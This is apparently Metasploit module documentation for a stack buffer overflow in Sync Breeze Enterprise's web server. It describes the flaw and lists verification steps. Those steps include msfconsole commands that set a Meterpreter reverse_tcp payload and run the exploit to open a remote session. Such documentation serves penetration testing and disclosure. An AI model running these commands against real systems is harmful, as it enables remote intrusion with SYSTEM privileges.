+## Vulnerable Application
+
+[Sync Breeze Enterprise](http://www.syncbreeze.com) versions up to v9.4.28 are affected by a stack-based buffer overflow vulnerability which can be leveraged by an attacker to execute arbitrary code in the context of NT AUTHORITY\SYSTEM on the target. The vulnerability is caused by improper bounds checking of the request path in HTTP GET requests sent to the built-in web server. This module has been tested successfully on Windows 7 SP1. The vulnerable application is available for download at [Sync Breeze Enterprise](http://www.syncbreeze.com/setups/syncbreezeent_setup_v9.4.28.exe).
+
+## Verification Steps
+  1. Install a vulnerable Sync Breeze Enterprise
+  2. Start `Sync Breeze Enterprise` service
+  3. Start `Sync Breeze Enterprise` client application
+  4. Navigate to `Tools` > `Sync Breeze Options` > `Server`
+  5. Check `Enable Web Server On Port 80` to start the web interface
+  6. Start `msfconsole`
+  7. Do `use exploit/windows/http/syncbreeze_bof`
+  8. Do `set RHOST ip`
+  9. Do `check`
+  10. Verify the target is vulnerable
+  11. Do `set PAYLOAD windows/meterpreter/reverse_tcp`
+  12. Do `set LHOST ip`
+  13. Do `exploit`
+  14. Verify the Meterpreter session is opened
